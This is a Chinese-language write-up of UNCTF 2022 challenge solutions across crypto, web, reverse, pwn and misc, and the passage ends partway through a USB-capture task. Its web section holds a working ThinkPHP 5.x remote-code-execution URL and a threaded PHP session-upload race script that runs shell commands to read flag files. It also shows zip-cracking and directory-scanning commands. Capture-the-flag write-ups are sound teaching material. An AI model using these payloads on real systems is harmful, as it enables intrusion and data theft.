UNCTF 2022 Writeups

Crypto

md5-1

从提供的脚本来看,out.txt中的每一串md5对应flag的每一个字符,ASCII字符的md5有现成的表,可以在网上找到。

UNCTF{e84fed028b9046fc0e8f080e96e72184}

md5-2

下一串md5都是跟前一串md5异或的结果,逆向复原,然后跟md5-1一样查询即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from hashlib import md5
from binascii import hexlify, unhexlify

f = open('out.txt', 'r')
md5lines = f.readlines()
result = []

# 第一串特别处理
result[0] = md5lines[0].strip()
l1 = unhexlify(md5lines[1].strip())
l2 = unhexlify(md5lines[0].strip())
i1 = int.from_bytes(l1, 'big')
i2 = int.from_bytes(l2, 'big')
result[1] = hex(i1 ^ i2)[2:]

for i in range(2, 39):
l1 = unhexlify(md5lines[i].strip())
l2 = unhexlify(result[i-1].strip())
i1 = int.from_bytes(l1,'big')
i2 = int.from_bytes(l2,'big')
temp = hex(i1 ^ i2)[2:]
if ( len(temp) != 32 ):
temp = '0' + temp
result.append(temp)

for i in range(0, len(result)):
print(result[i])

UNCTF{a197271943ceb3c3fe98bcadf10c29d4}

caesar

提示凯撒表换成了base64,挺友好的

注意文件中给的cipher多了一个 _ 不知道是失误还是故意的

1
2
3
4
5
6
7
8
9
10
11
12
table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
cipher = "B6vAy{dhd_AOiZ_KiMyLYLUa_JlL/HY_}" # actually B6vAy{dhd_AOiZ_KiMyLYLUa_JlL/HY}

for i in range(1,len(table)):
r = ''
for j in range(0, len(cipher)):
if ( table.find(cipher[j]) == -1 ):
r+=cipher[j]
continue
ch = table[(table.find(cipher[j]) + i ) % len(table)]
r += ch
print(r)

offset: 19

UNCTF{w0w_Th1s_d1fFerent_c4eSar}

single table

找了半天这种单表密码,最终找到是PlayFair密码,居然没有意识到题目给的key就是提示(((
readme中的表是key为“ABCD”时的表,头脑风暴了半天,原来就是把最后的4位改成提供的key PLAY 前面的就是按字母表顺序去掉 P L A Y J

1
2
3
4
5
6
7
8
9
10
11
12
E,F,G,H,I,
K,L,M,N,O,
P,Q,R,S,T,
U,V,W,X,Y,
Z,A,B,C,D

# so1ved
BCDEF
GHIKM
NOQRS
TUVWX
ZPLAY

https://www.dcode.fr/playfair-cipher

用这个网站暴力试出所有同行同列的情况。注意明文密文里面获得的X是填充上的,按照语义去掉即可。

UNCTF{GOD_YOU_KNOW_PLAYFAIR}

dddd

就是莫尔斯电码,题目滴滴滴滴也暗示的很明显,不过国际莫尔斯电码里面是没有花括号的,很多在线解密网站也不支持,所以记得解密的时候把 0000100 / 0000010 去掉先,以免影响解密。

UNCTF{Y4S_TH1S_JUST_M0RSE}

Multi Table

多表映射密码,也就是维吉尼亚密码,密钥可以通过已知明文遍历出来,比尝试2^4快多了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from string import ascii_uppercase

base_table = ['J', 'X', 'I', 'S', 'E', 'C', 'R', 'Z', 'L', 'U', 'K', 'Q',
'Y', 'F', 'N', 'V', 'T', 'P', 'O', 'G', 'A', 'H', 'D', 'W', 'M', 'B']

table={}
for i in range(26):
table[i]=ascii_uppercase[i:]+ascii_uppercase[:i]

c = "SDCGW{MPN_VHG_AXHU_GERA_SM_EZJNDBWN_UZHETD}"
# S in table[key[0]][bt['U']] table[?][9] = S
first = "UNCTF"
for i in range(5):
ch = c[i]
for search in range(26):
if table[search][base_table.index(first[i])] == c[i]:
print(search)
# key : 9 15 23 16

key = [9,15,23,16]
acc = 0
for i in range(len(c)):
if c[i] in ascii_uppercase:
index = table[key[acc%4]].find(c[i])
acc+=1
print(base_table[index], end='')

else:
print(c[i], end='')

UNCTF{WOW_YOU_KNOW_THIS_IS_VIGENERE_CIPHER}

ezxor

虽然说逻辑很简单,就是将flag跟一个大表的不同部分进行异或,但是这些部分互不重叠(每42字符取一个小表,小表又只用到前21字符),不过还好flag我们是已知部分明文的:UNCTF{ ,先尝试前6位,发现表似乎是有意义的英文文章(句子),而且我们一共有11段相同flag得出的密文,可以通过遍历ascii部分字符表,每次尝试11段密文,每次观察输入可能的字符即可。

虽然看上去有点麻烦,但是如果明文是有意义的单词集合,这就变得十分简单(不过如果是哈希的话就头疼了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

strs = '''1c2063202e1e795619300e164530104516182d28020005165e01494e0d
2160631d325b3b421c310601453c190814162d37404510041b55490d5d
3060631d325b3e59033a1252102c560207103b22020613450549444f5d
3420277421122f55067f1207152f19170659282b090b56121701405318
212626742b1434551b2b4105007f110c041c7f361c451e0a02440d010a
75222a22230877102137045212300409165928264c091f131701484f5d
21272d33661237441a7f005215331706175930254c0817091b4244011c
303c2674311e795e103a05520d300600521831274c031f0b160148555d
3c3d63232909355455300752033a17175e59372c1c0056111d01474813
752b22272f1e2b10063e0816452b1e041c593b2c02005a450649440110
396e2f3d201e795f137f07130c2b1e450510332f4c08170e17014d481b
'''

table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}!"

strs = strs.splitlines()
knowntext = "UNCTF{"
for t in range(14, len(strs[0])+1, 2):
for d in range(len(strs)):
enc_unctf = binascii.unhexlify(strs[d][:t])
for test in table:
testtext = knowntext + test
print(testtext + ":" , end='')
for i in range(len(testtext)):

print(chr(enc_unctf[i] ^ testtext.encode()[i]), end="" )
print("$")
potential = input("Enter potential character: ")
knowntext += potential
print(knowntext)

UNCTF{Y0u_are_very_Clever!!!}

Today_is_Thursday_V_me_50

是简单的异或题真是太好了,encrypt_2() 中虽然出现了随机数,但是种子是固定的,直接对密文再进行一次计算即可,而 encrypt_1() 需要花点时间想一想如何逆向,不过我只把最后的 res = strxor(mask,message) 改为 message = strxor(mask, res)guess 因为是pop了4次,所以索引50改为53,本以为需要再重复计算3次,不过调试的时候发现1次就行了,感觉怪怪的🤔

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import random
import itertools
from Crypto.Util.number import *
from Crypto.Util.strxor import strxor

name = "unctf"
key1 = "Today_is_Thursday_V_me_50".encode()
key1_num = bytes_to_long(key1)

def encrypt_2(message,num):
random.seed(num)
res_2 = b''
for i in message:
temp_num = random.randint(1,128)
res_2 += long_to_bytes(temp_num ^ i)
return res_2

def decrypt_1(cipher,name):
guess=[i for i in itertools.permutations(name, 5)]
what = guess[53]
name = ''.join(j for j in what)
mask = strxor(5*name.encode(),key1)
message = strxor(mask,cipher)
return message

enc_twice = b'Q\x19)T\x18\x1b(\x03\t^c\x08QiF>Py\x124DNg3P'
enc_once = encrypt_2(enc_twice,key1_num)
plaintext = decrypt_1(enc_once,name).decode()
print(plaintext)

UNCTF{1_l0ve_Thurs4Ay!!!}

今晚吃什么

吃培根,两次培根密码解密即可

UNCTF{CRYPROISFUN}

babyRSA

小e爆破攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
from Crypto.Util.number import *
from gmpy2 import iroot

n = 25300208242652033869357280793502260197802939233346996226883788604545558438230715925485481688339916461848731740856670110424196191302689278983802917678262166845981990182434653654812540700781253868833088711482330886156960638711299829638134615325986782943291329606045839979194068955235982564452293191151071585886524229637518411736363501546694935414687215258794960353854781449161486836502248831218800242916663993123670693362478526606712579426928338181399677807135748947635964798646637084128123883297026488246883131504115767135194084734055003319452874635426942328780711915045004051281014237034453559205703278666394594859431
c = 15389131311613415508844800295995106612022857692638905315980807050073537858857382728502142593301948048526944852089897832340601736781274204934578234672687680891154129252310634024554953799372265540740024915758647812906647109145094613323994058214703558717685930611371268247121960817195616837374076510986260112469914106674815925870074479182677673812235207989739299394932338770220225876070379594440075936962171457771508488819923640530653348409795232033076502186643651814610524674332768511598378284643889355772457510928898105838034556943949348749710675195450422905795881113409243269822988828033666560697512875266617885514107
e = 6

for i in range(5000):
# iroot(x,n) returns a 2-element tuple (y, b) such that y is the integer n-th root of x and b is True if the root is exact.
m, true_root = iroot(i*n+c, e)
if true_root:
print(bytes.fromhex(format(m, 'x')).decode())
break

甚至用不到给出的部分M~

UNCTF{27a0aac7-76cb-427d-9129-1476360d5d1b}

ezRSA

题目给出了N = p ** 4
那么直接对N开四次方取整数就行了,使用gmpy2的iroot函数即可,
已知 e、n、c、p、phi(n) 很容易求出 d、m

1
2
3
4
5
6
7
8
9
10
11
from Crypto.Util.number import *
from gmpy2 import iroot

e = 65537
n = 62927872600012424750752897921698090776534304875632744929068546073325488283530025400224435562694273281157865037525456502678901681910303434689364320018805568710613581859910858077737519009451023667409223317546843268613019139524821964086036781112269486089069810631981766346242114671167202613483097500263981460561
p, true_root = iroot(n, 4)
phi_n = p**4-p**3
d = inverse(e, phi_n)
c = 56959646997081238078544634686875547709710666590620774134883288258992627876759606112717080946141796037573409168410595417635905762691247827322319628226051756406843950023290877673732151483843276348210800329658896558968868729658727981445607937645264850938932045242425625625685274204668013600475330284378427177504
m = pow(c, d, n)
print(long_to_bytes(m))

UNCTF{pneum0n0ultram01cr0sc0p01cs01l01c0v0lcan0c0n010s01s}

Fermat

费马小定理,

1
2
3
4
5
6
7
8
9
10
11
12
13
import gmpy2
from Crypto.Util.number import *

c = 388040015421654529602726530745444492795380886347450760542380535829893454552342509717706633524047462519852647123869277281803838546899812555054346458364202308821287717358321436303133564356740604738982100359999571338136343563820284214462840345638397346674622692956703291932399421179143390021606803873010804742453728454041597734468711112843307879361621434484986414368504648335684946420377995426633388307499467425060702337163601268480035415645840678848175121483351171989659915143104037610965403453400778398233728478485618134227607237718738847749796204570919757202087150892548180370435537346442018275672130416574430694059
n = 19793392713544070457027688479915778034777978273001720422783377164900114996244094242708846944654400975309197274029725271852278868848866055341793968628630614866044892220651519906766987523723167772766264471738575578352385622923984300236873960423976260016266837752686791744352546924090533029391012155478169775768669029210298020072732213084681874537570149819864200486326715202569620771301183541168920293383480995205295027880564610382830236168192045808503329671954996275913950214212865497595508488636836591923116671959919150665452149128370999053882832187730559499602328396445739728918488554797208524455601679374538090229259
gift = 28493930909416220193248976348190268445371212704486248387964331415565449421099615661533797087163499951763570988748101165456730856835623237735728305577465527656655424601018192421625513978923509191087994899267887557104946667250073139087563975700714392158474439232535598303396614625803120915200062198119177012906806978497977522010955029535460948754300579519507100555238234886672451138350711195210839503633694262246536916073018376588368865238702811391960064511721322374269804663854748971378143510485102611920761475212154163275729116496865922237474172415758170527875090555223562882324599031402831107977696519982548567367160
p = gmpy2.gcd(gmpy2.powmod(2, gift, n)-1, n)
q = n // p
e = 65537
d = gmpy2.invert(e, (p-1)*(q-1))
m = gmpy2.powmod(c, d, n)

print(long_to_bytes(m))

UNCTF{DO_y0u_Fermat_1ittle_theOrem}

ezCry

提示:流密码

说到流密码首先想到的是RC4了,

flag和key先转换为十六进制,key是 12345678,再丢到Python或者在线解密网站上解密

UNCTF{83e429d991d24c548b9dbd256975d0d5}

Web

ezgame-浙江师范大学

1
2
3
5148          this.rCtx = this.rCanv.getContext('2d'),
5149 this.rStats = new r.q(this.reaperCont, 36, 999, 0);
5150 let a = s.GameVars.gameW / 4 * 3 - this.reaperCont.clientWidth / 2,

Boss血量应该魔改过了实在太高了,想要打过几乎不可能,那就通过断点修改变量来作弊吧~

搜索999这个数值,main.js:5149是唯一项,这是一个类定义但是其实可以直接在 main.js:5150 打下断点(反正执行到这里就是主函数调用了构造器),然后控制台修改this.rStats

1
this.rStats = new r.q(this.reaperCont, 36, 1, 0);

这时候随便出一张攻击牌就行了。

UNCTF{c5f9a27d-6f88-49fb-a510-fe7b163f8dd3}

ez2048-中南大学

game.js 逆向 checkInvited() 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
let buf = new ArrayBuffer(24);
const view = new DataView(buf);
view.setUint8(0, 68);
view.setUint8(1, 51);
view.setUint8(2, 15);
view.setUint8(3, 80);
view.setUint16(4, 0x0e5d, true);
view.setUint16(6, 0x323a, true);
view.setUint16(8, 0x3058, true);
view.setUint16(10, 0x1a2a, true);
view.setUint32(12, 0x0512160d, true);
view.setUint32(16, 0x02560002);
view.setUint32(20, 0x130000);

let decode = [];
console.log(code.length)
decode.push(view.getInt8(0) ^ view.getInt8(1));
decode.push(view.getInt8(1));
for ( let i=3; i<code.length; i+=2) {
decode[i] = view.getInt8(i) ^ decode[i-2];
decode[i-1] = view.getInt8(i-1) ^ decode[i];
}
console.log(String.fromCharCode.apply(null, decode));

得到邀请码,发现不是flag:

1
w3lc0me_7o_unctf2022!!!!

搜索check的时候找到了监听事件里面的检查函数,得知必须要输入这个邀请码并且通关才能返回正确的flag: game.js:306

1
2
3
4
let result = UTF8ToString(
_check_success(merged.value, this.allocatedInvitedCode)
);
if (result != "false") this.gameSuccess(result);

这个 _check_success() 函数是 game.wasm export的函数,逆向wasm有点麻烦(或者说如果要逆向,那就不是Web题了),2048又不会玩,干脆在这里打个断点改变量好了。

js第一行无限debugger,chromium devtools右键有Never pause here的功能(被火狐坑惨了,火狐这个功能貌似有点问题),在打开调试器的时候 Sources 会跳转到一个 VMxx 的标签页,在debugger一行永不暂停,然后继续就行。

两个方块结合的时候会到达断点,在执行 _check_success() 之前控制台将 merged.value 设为 2048 再继续就会输出flag了!

UNCTF{hap9y_2048_game_w1th_unc7f2022~}

我太喜欢bilibili大学啦–中北大学

phpinfo,惯例先搜索flag有没有隐藏在变量中,没想到还真有!

UNCTF{afab3097-8cf3-4c1c-b16f-9ae22bb940d6}

302与深圳

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /?miku=puppy HTTP/1.1
Host: cdfa2a4a-7c82-4653-ac7b-5aa003eb8475.node.yuzhian.com.cn
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Cookie: admin=true

micgo=ikun

phpinfo中搜索flag

UNCTF{thai_miku_micgo_qka_WEB_GOD}

签到

+1

1
2
3
4
5
6
7
8
9
10
11
12
import requests

for i in range(2, 40):
url = 'http://4b97bc62-441e-4e22-8c9c-0c8e95314f41.node.yuzhian.com.cn/'
pl = "202001{0:02d}".format(i)
data = {
'username': pl,
'password': pl,
'submit': 'Submit',
}
r = requests.post(url, data=data)
print(r.text.splitlines()[20], end='')

UNCTF{bfff6d206cbcd6ac0870a4f48c7c313b}

给你一刀

ThinkPHP V5.x漏洞:
https://learnku.com/articles/21227

1
http://72f48461-a049-4e04-b8dd-e028d72fa10d.node.yuzhian.com.cn/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/openthis

UNCTF{Y0u_A3r_so_G9eaD_hacker}

快乐三消

提示:后台扫描和备份泄露

好的,那就扫一下吧(

1
gobuster dir --url http://72f48461-a049-4e04-b8dd-e028d72fa10d.node.yuzhian.com.cn/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

扫到 /admin 这个路径,进去跳转到 /admin/login.php 登录界面,这里卡了挺久,后来才跟提示备份泄露联系起来,访问 /admin/login.php.bak 即可下载到这个php页面的代码,还附赠了用户名密码 admin/unctf

进去是那种一看就没什么渗透抵抗能力的后台管理Dashboard,找了半天没找到文件上传,搜索源代码的时候搜索到了一个网页预览tab存在文件包含漏洞 /admin/fi.php?filename=xxxx ,并且一番尝试后又发现了phpinfo泄露 /phpinfo.php

这里我本来估计做不出来了,因为我的web水平太有限,不过我在搜索的时候偶然看到了PHP_UPLOAD_SESSION_PROGRESS 漏洞可以实现文件上传。

sessions路径可以通过phpinfo找到

https://blog.csdn.net/solitudi/article/details/109460211

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import io
import sys
import requests
import threading

sessid = 'whoami'

data = {"cmd": "system('cat /flag')"} # 可以先 ls / 看看根目录发现有个flag文件
def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
'http://eed1efde-fa69-419d-9271-7dfe1aef3402.node.yuzhian.com.cn/',
data={
"PHP_SESSION_UPLOAD_PROGRESS": "<?php system('cat /flag');?>"},
files={"file": ('q.txt', f)},
cookies={'PHPSESSID': sessid}
)


def READ(session):
while True:
response = session.post(
f'http://eed1efde-fa69-419d-9271-7dfe1aef3402.node.yuzhian.com.cn/admin/fi.php?filename=/var/lib/php5/sess_{sessid}',
data=data)
if 'q.txt' in response.text:
print(response.text)
event.clear()


event = threading.Event()
with requests.session() as session:
for i in range(1, 30):
threading.Thread(target=POST, args=(session,)).start()

for i in range(1, 30):
threading.Thread(target=READ, args=(session,)).start()
event.set()

运气挺好,然而我当时电脑没电还忘了保存flag了,寄

Reverse

whereisyourkey

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define ll long long

char v5[10];

int ooooo(int a1);

int main()
{
v5[0] = 'v';
v5[1] = 103;
v5[2] = 112;
v5[3] = 107;
v5[4] = 99;
v5[5] = 109;
v5[6] = 104;
v5[7] = 110;
v5[8] = 99;
v5[9] = 105;
int i;
for (i = 0; i <= 9; ++i) {
v5[i] = ooooo(v5[i]);

}
printf("%s", v5);
return 0;
}

int ooooo(int a1) {
if (a1 == 109)
return 109;
if (a1 <= 111) {
if (a1 <= 110)
a1 -= 2;
} else {
a1 += 3;
}
return a1;
}

把逆向过来的伪代码输出结果就是flag了

UNCTF{yesiamflag}

ezzzzzre

1
2
3
4
str = "HELLOCTF"

for i in range(len(str)):
print(chr( 2 * ord(str[i]) - 69), end="")

UNCTF{KESSYAcG}

Sudoku

文件是exe执行文件,在Windows下的终端运行,提示让我们按一定格式输入答案即可获得flag。

逆向后发现给出的示例不是我们需要解的数独,而是data段里面另外一个数组,.data:405040 就是我们需要解的数独数组,ida将其转换为dd数组得:

1
2
3
4
5
6
7
8
9
10
11
12
.data:0000000000405040 dword_405040    dd 0, 0, 0, 4, 9, 0, 0, 0, 3
.data:0000000000405040 dd 0, 9, 6, 7, 0, 8, 0, 0, 0
.data:0000000000405040 dd 0, 0, 7, 0, 0, 0, 0, 1, 8
.data:0000000000405040 dd 0, 2, 8, 0, 4, 0, 0, 0, 7
.data:0000000000405040 dd 3, 0, 0, 0, 2, 0, 0, 0, 1
.data:0000000000405040 dd 0, 6, 0, 0, 8, 0, 4, 2, 0
.data:0000000000405040 dd 2, 0, 0, 0, 0, 4, 7, 3, 0
.data:0000000000405040 dd 7, 0, 3, 6, 0, 9, 0, 0, 0
.data:0000000000405040 dd 0, 8, 0, 0, 0, 0, 1, 4, 0
; 后面的没用,9x9数独
.data:0000000000405040 dd 0, 0, 0, 0, 0, 0, 0, 0, 0
.data:0000000000405040 dd 0, 0, 0, 0, 0, 0

秉承着绝对不会向出题者屈服花时间玩小游戏的思想,我直接一个在线数独解答:
https://sudokuspoiler.com/sudoku/sudoku9

按照给的格式输入答案后,就可以获得flag了…吗?

1
2
3
4
5
6
Y0u_Ar3_R1ght!Th1s_1s_your_f1aaag!

UNCTF{chr(29+vme)chr(15+vme)chr(29+vme)chr(24+vme)chr(39+vme)chr(25+vme)chr(29+vme)chr(20+vme)chr(32+vme)}

Ohhh,I'm sorry,chr() can't be used in my cpp
Maybe Python is a good choice!

emm,看来还得用python解一手,这个vme变量名字很容易联想到kfcvme50,而逆向出的代码也暗示了要 +50

接下来就很简单了。

UNCTF{OAOJYKOFR}

HelloRust

Rust的逆向题是我最不想看到的(((
不过还好这道题不需要从源代码逻辑入手逆向,只要知道程序是干什么用的就行了

IDA从字符串找到了main函数和最终的正确错误判断逻辑,简单()观察后得知:输入的字符串经过某种流密码加密后,与数据中的一串字节(密文)做比较。而这种流密码可以在 _$LT$cipher..stream_wrapper..StreamCipherCoreWrapper$LT$T$GT$$u20$as$u20$crypto_common..KeyInit$GT$::new::h0475e74ee4b69935 函数中得知是RC4加密。

经过一番的查找,在 .rodata:000000000004509D 找到密钥 UnCtF2022 ,在 .rodata:00000000000450A6 找到密文:87 69 27 21 6F C7 31 26 1B 6C 3A 74 9A 62 6E A0 02 81 1D 85 E0 E2 D0 71 F4 A3 09 0E

使用RC4解密即可得到flag

UNCTF{Ru5t_Rc4_1s_2_e@zy!!!}

ezast

考抽象语法树,学到了原来还有这样JSON表示的AST。

逆向分析得到伪源代码(python表示):

1
2
3
4
5
6
7
8
9
def ezdecode(flag, key):
r = ''
for i in range(len(flag)):
r += chr(ord(flag[i]) ^ key + 1)
return r

key = 114514 - ( 1145 * 100 ) + 0xB
flag = "OTYN\\a[inE+iEl.hcEo)ivo+g"
print(ezdecode(flag, key))

执行即可获得flag。

UNCTF{Ast_1s_v4ry_u3slu1}

今天喝茶,明天上班

题目提示跟逆向伪代码观察得知本体采用了xxtea加密

sub_40116D 函数就是xxtea加密函数 sub_40116D(flag, len, delta)
后面的比较字符串可以看出,加密的flag在数据段: byte_40A01C
这个delta就挺麻烦的了,一开始以为真的是数据段中 dword_40A018: 9E3779B9h 发现不对,
然后偶然点进那个可疑的 __CheckForDebuggerJustMyCode(&unk_40C015); 中的 unk_40C015

1
2
.msvcjmc:0040C015 unk_40C015      db    1                 ; DATA XREF: TlsCallback_0_0+1B↑o
.msvcjmc:0040C015 ; sub_401660+1B↑o ...

这个DATA XREF很可疑,于是立马查看这个TlsCallback函数,发现了异或操作,网上一搜这个函数果然是一种反IDA调试的操作:http://www.cppblog.com/Tim/archive/2012/06/27/180502.html

TLS回调函数是每当创建/终止进程的线程时会自动调用执行的函数(前后共调用两次)。创建进程的主线程时也会自动调用回调函数,且其调用执行先于EP代码。

原来是这个delta被篡改了,随后找到了 TlsCallback_1_0 函数,结合两个函数获知,delta = 0x66403319 ^ 0x12345678

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from Crypto.Util.number import *
c = bytes.fromhex('0323222F3688FD4321E85B65311E3BA64BB8DC888019846F97722126AD64EEBB88044D062F26E56B814BF573')

delta = 0x66403319 ^ 0x12345678 # TlsCallback Trick
delta_arr = long_to_bytes(delta)[::-1]
p = []
for i in delta_arr:
if i & 0x80 != 0:
p.append(i+0xffffff)
else:
p.append(i)
delta_arr = p
print(','.join([hex(i) for i in delta_arr]))

table = [delta*(i+1) & 0xffffffff for i in range(10)]
print(",".join([hex(i) for i in table]))

# 网上抄的xxtea解密代码
def decrypt(c):
flag = [bytes_to_long(c[i: i+4][::-1]) for i in range(0, len(c), 4)]
for i in range(9, -1, -1):
v10 = tab[i]
v7 = (v10 >> 2) & 3
for j in range(10, -1, -1):
i_big = (j+1) % 11
i_small = (j-1) % 11
v11 = flag[i_small]
v12 = flag[i_big]
v3 = ((v11 ^ del_arr[v7 ^ j & 3])+(v12 ^ v10)) ^ (
(((v11 << 4) & 0xffffffff) ^ (v12 >> 3))+(((v12 << 2) & 0xffffffff) ^ (v11 >> 6)))
flag[j] = (flag[j] - v3) & 0xffffffff
print(",".join([hex(i)[2:] for i in flag]))
m = b''
for i in flag:
m += long_to_bytes(i)[::-1]

return m

print(decrypt(c))

UNCTF{73dd38c2-9d45-4f7a-9bd0-90a1e9907c1}

halo

IDA反编译发现加了层UPX壳,简简单单用upx脱一下壳:

1
> upx -d halo

脱壳后反编译发现这是个ARM64的Mach-o文件(大概率出题者用的M1Macbook)
估计是ARM64的原因,IDA的伪代码可读性不是非常理想,我给绕了半天才整理出来:

.a:100008000 这里开始的46个字节都是加密了的flag,主函数读入用户输入的flag后,将其进行一番迭代异或操作,最终将其与加密flag比较(IDA伪代码真的是把我坑惨了)

这里是翻译过来的代码和逆向脚本:

注意一下加密flag的第一个字节要先异或0x33(虽然最终影响不大)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from Crypto.Util.number import *
from binascii import unhexlify

hexs = "550B680C733E0C3A5D1B21754F204C71587B592C007758770E725B260B700A7766773676377662726D273F772626"

cb = unhexlify(hexs)
cbytes = bytearray(cb)

def enc(cbytes):
for i in range(len(cbytes)-1):
cbytes[i] ^= i
cbytes[i+1] ^= cbytes[i]
return cbytes

def dec(cbytes):
pt = ''
for i in reversed(range(1, len(cbytes))):
cbytes[i] ^= cbytes[i-1]
cbytes[i-1] ^= i-1
return cbytes

cbytes[0] = cbytes[0] ^ 0x33
print(dec(cbytes))

# 代码迭代太多次了,变量辖即把乱写的,不太能看

UNCTF{H41oO0_6bb2920f8b98ae3f1fdb10cced277c2c}

Pwn

welcomeUNCTF2022

纯签到,输入 UNCTF&2022

UNCTF{980ed8bb-b801-466d-8423-dd283e3ca1f9}

石头剪刀布

嗯…提示的很明显了,运用的是 rand() 伪随机的漏洞(?)

代码里伪随机种子是固定的: srand(10),那么就很简单了,种子相同,伪随机数生成器也相同。

1
2
3
4
5
6
7
8
#include <stdio.h>
#include <stdlib.h>
int main() {
srand(10);
for ( int i = 0 ; i < 100 ; i++ )
printf("%d", rand() % 3);
return 0;
}

python pwn脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

# fakerand = "1122022122220021012001111211100201200102121201110020212100221121222210202001222001010020100211110112"

# for i in range(0, len(fakerand)):
# if fakerand[i] == "0":
# print("2", end="")
# elif fakerand[i] == "1":
# print("0", end="")
# elif fakerand[i] == "2":
# print("1", end="")

result = "0011211011112210201220000100022120122021010120002212101022110010111102121220111220202212022100002001"

p = remote("node.yuzhian.com.cn", 38544)
# p = process("./pwn")
p.recvuntil("(y/n)")
p.sendline("y")
p.recvuntil("round[1]")
p.sendline(result[0])
for i in range(1, len(result)):
p.recvuntil("round[{}]".format(i+1))
p.sendline(result[i])
p.interactive()

UNCTF{e11869f6-e9c9-4947-9471-fc6c1be898b7}

Misc

magic_word

零宽隐写:
http://330k.github.io/misc_tools/unicode_steganography.html

UNCTF{We1come_new_ctfer}

贝斯家族的侵略

离谱

首先先用明文攻击获取压缩包内加密的文件:

1
2
3
4
5
6
7
8
9
10
11
12
> bkcrack -C crypt.zip -c hint.jpg -P hint.zip -p hint.jpg

bkcrack 1.5.0 - 1980-01-01
[18:37:56] Z reduction using 3002 bytes of known plaintext
100.0 % (3002 / 3002)
[18:37:57] Attack on 3383 Z values at index 1083
Keys: 54b502d2 d2a5272d 28c5f5c1
12.5 % (422 / 3383)
[18:37:57] Keys
54b502d2 d2a5272d 28c5f5c1

> bkcrack -C crypt.zip -k 54b502d2 d2a5272d 28c5f5c1 -U unlocked.zip password

然后用 password 解压 unlocked.zip 即可,解压后打开flag文件,发现是一堆base64,转换了以后是用 贝斯家族 作为关键词生成的狗屁不通文章,这里卡了蛮久,后来在搜索的时候偶然发现文本存在重复但是有一两个字不一样的情况,再加上贝斯家族这样的提示于是想到了base64隐写:

1
2
3
4
> git clone https://github.com/FrancoisCapon/Base64SteganographyTools.git
> cd Base64SteganographyTools/tools
> ./b64stegano_detect.sh flag # 发现确实存在base64隐写
> ./b64stegano_retrieve.sh > stegdata # 获取隐写的Hex数据

脚本输出的是十六进制数据,用Python转换成二进制文件先:

1
2
3
4
5
import binascii
f1 = open("stegdata", "r")
byte = binascii.unhexlify(f1.read())
f = open("file", "wb")
f.write(byte)

得到的二进制文件用 file 命令没有结果,用010Editor打开发现存在英文 $ E N DFilename:Macro.mrd ,可以很确定这是个宏文件,但是是什么软件的宏就不得而知了,这里又卡了很久,直到我以 macro mr 关键字搜索才发现一个软件 Macro Recorder 录制出来的宏文件的后缀名是.mrf 只能说这个mrd真的很有误导性,下载这个软件后随便录制了一下,010editor打开宏文件,很好出现了一模一样的 $ E N D

接下来就很简单了,把刚才提取出来的文件去掉最后的文本(不去掉好像打不开),导入软件,打开Windows画图点击开始,即可看到flag缓缓写出……太离谱了,完全不能理解出题人的脑回路

UNCTF{b4s3_1s_v3ry_g0od!!}

CatchJerry

离谱x2

解压压缩包后得到一个Wireshark抓包文件,打开后发现是USBHID数据,查阅资料后了解到这很可能是键盘和鼠标的输入,在Github上找到了大佬的现成脚本:
https://github.com/WangYihang/UsbKeyboardDataHacker
https://github.com/WangYihang/UsbMiceDataHacker

不过发现什么都提取不出来,后来看了脚本才知道:脚本里调用 tshark 时,field是usb.capdata 而该题为 usbhid.data 并且不同版本提取数据输出格式不同,有的每一个字节跟上冒号,而我的版本没有,脚本是按照冒号来分割字节的,于是乎只需要改一下即可:

1
2
3
4
5
6
7
42     command = "tshark -r %s -T fields -e usbhid.data > %s" % (
...
53 for bs in data:
54 Bytes = [bs[i:i+2] for i in range(0, len(bs), 2)]
...
101 ax1.scatter(X, Y, c='r', marker='.')
# 默认的marker太大了看不太清,改成点
1
> python UsbMiceDataHacker.py CatchJerry.pcapng ALL

倒过来看: TOM JERRY FRIENDS

这是鼠标的数据,题目中还提到杰瑞在屏幕和键盘上跳动,那么再用另外一个脚本,同样记得改一下参数(不过这个脚本好像添加了不带冒号的情况):

1
2
3
4
5
6
7
8
9
> python UsbKeyboardDataHacker.py CatchJerry.pcapng

... # 这里很多未知键,大概是鼠标的数据被误认了
[-] Unknow Key : 01
[-] Unknow Key : 01
[-] Unknow Key : 01
